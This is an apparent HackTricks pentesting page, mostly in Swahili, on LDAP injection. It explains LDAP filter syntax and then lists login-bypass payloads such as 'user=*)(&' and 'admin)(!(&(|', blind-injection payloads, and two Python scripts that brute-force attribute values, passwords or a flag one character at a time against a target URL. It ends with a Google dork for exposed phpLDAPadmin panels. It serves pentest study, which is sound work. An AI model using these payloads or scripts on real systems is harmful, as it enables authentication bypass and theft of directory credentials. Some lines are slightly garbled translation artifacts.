hacktricks/src/pentesting-web/ldap-injection.md

# LDAP Injection

## LDAP Injection

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## LDAP Injection

### **LDAP**

**Ikiwa unataka kujua ni nini LDAP, tembelea ukurasa ufuatao:**

{{#ref}}
../network-services-pentesting/pentesting-ldap.md
{{#endref}}

**LDAP Injection** ni shambulio linalolenga programu za wavuti ambazo zinaunda taarifa za LDAP kutoka kwa pembejeo za mtumiaji. Hii inatokea wakati programu **inashindwa kusafisha** pembejeo ipasavyo, ikiruhusu washambuliaji **kubadilisha taarifa za LDAP** kupitia proxy ya ndani, ambayo inaweza kusababisha ufikiaji usioidhinishwa au urekebishaji wa data.

{% file src="../images/EN-Blackhat-Europe-2008-LDAP-Injection-Blind-LDAP-Injection.pdf" %}

**Filter** = ( filtercomp )\
**Filtercomp** = na / au / si / kipengee\
**Na** = & filterlist\
**Au** = |filterlist\
**Si** = ! filter\
**Filterlist** = 1\*filter\
**Kipengee**= rahisi / kuwepo / sehemu\
**Rahisi** = attr filtertype assertionvalue\
**Filtertype** = _'=' / '\~=' / '>=' / '<='_\
**Kuwepo** = attr = \*\
**Sehemu** = attr ”=” \[mwanzo] \* \[mwisho]\
**Mwanzo** = assertionvalue\
**Mwisho** = assertionvalue\
&#xNAN;**(&)** = Ukweli wa Kipekee\
&#xNAN;**(|)** = Uongo wa Kipekee

Kwa mfano:\
`(&(!(objectClass=Impresoras))(uid=s*))`\
`(&(objectClass=user)(uid=*))`

Unaweza kufikia hifadhidata, na hii inaweza kuwa na taarifa za aina nyingi tofauti.

**OpenLDAP**: Ikiwa vichujio 2 vinakuja, inatekeleza tu cha kwanza.\
**ADAM au Microsoft LDS**: Kwa vichujio 2 wanatoa kosa.\
**SunOne Directory Server 5.0**: Inatekeleza vichujio vyote viwili.

**Ni muhimu sana kutuma kichujio chenye sintaksia sahihi au kosa litatokea. Ni bora kutuma kichujio kimoja tu.**

Kichujio kinapaswa kuanza na: `&` au `|`\
Mfano: `(&(directory=val1)(folder=public))`

`(&(objectClass=VALUE1)(type=Epson*))`\
`VALUE1 = *)(ObjectClass=*))(&(objectClass=void`

Kisha: `(&(objectClass=`**`*)(ObjectClass=*))`** itakuwa kichujio cha kwanza (kile kinachotekelezwa).

### Login Bypass

LDAP inasaidia muundo kadhaa kuhifadhi nywila: wazi, md5, smd5, sh1, sha, crypt. Hivyo, inaweza kuwa kwamba bila kujali unachoweka ndani ya nywila, inahifadhiwa.
```bash
user=*
password=*
--> (&(user=*)(password=*))
# The asterisks are great in LDAPi
```

```bash
user=*)(&
password=*)(&
--> (&(user=*)(&)(password=*)(&))
```

```bash
user=*)(|(&
pass=pwd)
--> (&(user=*)(|(&)(pass=pwd))
```

```bash
user=*)(|(password=*
password=test)
--> (&(user=*)(|(password=*)(password=test))
```

```bash
user=*))%00
pass=any
--> (&(user=*))%00 --> Nothing more is executed
```

```bash
user=admin)(&)
password=pwd
--> (&(user=admin)(&))(password=pwd) #Can through an error
```

```bash
username = admin)(!(&(|
pass = any))
--> (&(uid= admin)(!(& (|) (webpassword=any)))) —> As (|) is FALSE then the user is admin and the password check is True.
```

```bash
username=*
password=*)(&
--> (&(user=*)(password=*)(&))
```

```bash
username=admin))(|(|
password=any
--> (&(uid=admin)) (| (|) (webpassword=any))
```
#### Orodha

- [LDAP_FUZZ](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/LDAP%20Injection/Intruder/LDAP_FUZZ.txt)
- [LDAP Attributes](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/LDAP%20Injection/Intruder/LDAP_attributes.txt)
- [LDAP PosixAccount attributes](https://tldp.org/HOWTO/archived/LDAP-Implementation-HOWTO/schemas.html)

### Blind LDAP Injection

Unaweza kulazimisha majibu ya False au True ili kuangalia kama data yoyote inarudi na kuthibitisha uwezekano wa Blind LDAP Injection:
```bash
#This will result on True, so some information will be shown
Payload: *)(objectClass=*))(&objectClass=void
Final query: (&(objectClass= *)(objectClass=*))(&objectClass=void )(type=Pepi*))
```

```bash
#This will result on True, so no information will be returned or shown
Payload: void)(objectClass=void))(&objectClass=void
Final query: (&(objectClass= void)(objectClass=void))(&objectClass=void )(type=Pepi*))
```
#### Dump data

Unaweza kuzunguka juu ya herufi za ascii, nambari na alama:
```bash
(&(sn=administrator)(password=*))    : OK
(&(sn=administrator)(password=A*))   : KO
(&(sn=administrator)(password=B*))   : KO
...
(&(sn=administrator)(password=M*))   : OK
(&(sn=administrator)(password=MA*))  : KO
(&(sn=administrator)(password=MB*))  : KO
...
```
### Scripts

#### **Gundua maeneo halali ya LDAP**

Vitu vya LDAP **vina vyenye kwa chaguo-msingi sifa kadhaa** ambazo zinaweza kutumika kuhifadhi **habari**. Unaweza kujaribu **kuvunjavunja zote ili kupata habari hiyo.** Unaweza kupata orodha ya [**sifa za LDAP za chaguo-msingi hapa**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LDAP%20Injection/Intruder/LDAP_attributes.txt).
```python
#!/usr/bin/python3
import requests
import string
from time import sleep
import sys

proxy = { "http": "localhost:8080" }
url = "http://10.10.10.10/login.php"
alphabet = string.ascii_letters + string.digits + "_@{}-/()!\"$%=^[]:;"

attributes = ["c", "cn", "co", "commonName", "dc", "facsimileTelephoneNumber", "givenName", "gn", "homePhone", "id", "jpegPhoto", "l", "mail", "mobile", "name", "o", "objectClass", "ou", "owner", "pager", "password", "sn", "st", "surname", "uid", "username", "userPassword",]

for attribute in attributes: #Extract all attributes
value = ""
finish = False
while not finish:
for char in alphabet: #In each possition test each possible printable char
query = f"*)({attribute}={value}{char}*"
data = {'login':query, 'password':'bla'}
r = requests.post(url, data=data, proxies=proxy)
sys.stdout.write(f"\r{attribute}: {value}{char}")
#sleep(0.5) #Avoid brute-force bans
if "Cannot login" in r.text:
value += str(char)
break

if char == alphabet[-1]: #If last of all the chars, then, no more chars in the value
finish = True
print()
```
#### **Special Blind LDAP Injection (bila "\*")**
```python
#!/usr/bin/python3

import requests, string
alphabet = string.ascii_letters + string.digits + "_@{}-/()!\"$%=^[]:;"

flag = ""
for i in range(50):
print("[i] Looking for number " + str(i))
for char in alphabet:
r = requests.get("http://ctf.web??action=dir&search=admin*)(password=" + flag + char)
if ("TRUE CONDITION" in r.text):
flag += char
print("[+] Flag: " + flag)
break
```
### Google Dorks
```bash
intitle:"phpLDAPadmin" inurl:cmd.php
```
### Zaidi ya Payloads

{{#ref}}
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection
{{#endref}}

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